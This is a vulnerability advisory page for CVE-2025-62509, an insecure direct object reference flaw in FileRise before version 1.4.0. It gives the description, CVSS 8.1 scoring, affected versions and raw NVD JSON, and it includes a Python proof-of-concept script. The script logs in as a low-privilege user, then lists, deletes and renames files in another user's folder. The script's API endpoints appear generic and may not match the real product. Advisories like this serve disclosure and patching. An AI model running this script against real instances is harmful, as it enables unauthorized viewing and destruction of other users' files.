Security Vulnerability Report
中文
CVE-2025-62509 CVSS 8.1 HIGH

CVE-2025-62509

Published: 2025-10-20 18:15:40
Last Modified: 2025-12-04 19:13:01

Description

FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to version 1.4.0, a business logic flaw in FileRise’s file/folder handling allows low-privilege users to perform unauthorized operations (view/delete/modify) on files created by other users. The root cause was inferring ownership/visibility from folder names (e.g., a folder named after a username) and missing server-side authorization/ownership checks across file operation endpoints. This amounted to an IDOR pattern: an attacker could operate on resources identified only by predictable names. This issue has been patched in version 1.4.0 and further hardened in version 1.5.0. A workaround for this issue involves restricting non-admin users to read-only or disable delete/rename APIs server-side, avoid creating top-level folders named after other usernames, and adding server-side checks that verify ownership before delete/rename/move.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:* - VULNERABLE
FileRise < 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62509 - FileRise IDOR Vulnerability PoC # This PoC demonstrates unauthorized file operations via predictable folder names import requests # Target FileRise instance BASE_URL = "http://target-filerise-instance.com" # Attacker credentials (low-privilege user) ATTACKER_SESSION = requests.Session() # Step 1: Login as a low-privilege user login_url = f"{BASE_URL}/api/login" login_data = { "username": "attacker_user", "password": "attacker_password" } response = ATTACKER_SESSION.post(login_url, json=login_data) print(f"[*] Login response: {response.status_code}") # Step 2: List files in victim's folder (IDOR - no ownership check) # The vulnerability allows accessing folders named after other users victim_username = "victim_user" list_url = f"{BASE_URL}/api/files/list" list_params = { "path": f"/{victim_username}/" # Accessing victim's folder by predictable name } response = ATTACKER_SESSION.get(list_url, params=list_params) print(f"[*] Listing victim's files: {response.status_code}") print(f"[*] Files found: {response.json()}") # Step 3: Delete a file from victim's folder (unauthorized delete) delete_url = f"{BASE_URL}/api/files/delete" delete_data = { "path": f"/{victim_username}/sensitive_document.txt" } response = ATTACKER_SESSION.post(delete_url, json=delete_data) print(f"[*] Delete operation: {response.status_code}") # Step 4: Rename a victim's file (unauthorized modify) rename_url = f"{BASE_URL}/api/files/rename" rename_data = { "old_path": f"/{victim_username}/important_file.txt", "new_path": f"/{victim_username}/renamed_file.txt" } response = ATTACKER_SESSION.post(rename_url, json=rename_data) print(f"[*] Rename operation: {response.status_code}") # The server fails to verify that the authenticated user # owns the target resources, allowing unauthorized operations.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62509", "sourceIdentifier": "[email protected]", "published": "2025-10-20T18:15:40.050", "lastModified": "2025-12-04T19:13:01.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to version 1.4.0, a business logic flaw in FileRise’s file/folder handling allows low-privilege users to perform unauthorized operations (view/delete/modify) on files created by other users. The root cause was inferring ownership/visibility from folder names (e.g., a folder named after a username) and missing server-side authorization/ownership checks across file operation endpoints. This amounted to an IDOR pattern: an attacker could operate on resources identified only by predictable names. This issue has been patched in version 1.4.0 and further hardened in version 1.5.0. A workaround for this issue involves restricting non-admin users to read-only or disable delete/rename APIs server-side, avoid creating top-level folders named after other usernames, and adding server-side checks that verify ownership before delete/rename/move."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.0", "matchCriteriaId": "EED17D45-FE5D-43CE-ACC5-9DB2CD983F08"}]}]}], "references": [{"url": "https://github.com/error311/FileRise/commit/25ce6a76beb60950359c0304765ad91a8aff8ad8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/error311/FileRise/issues/53", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-6p87-q9rh-95wh", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}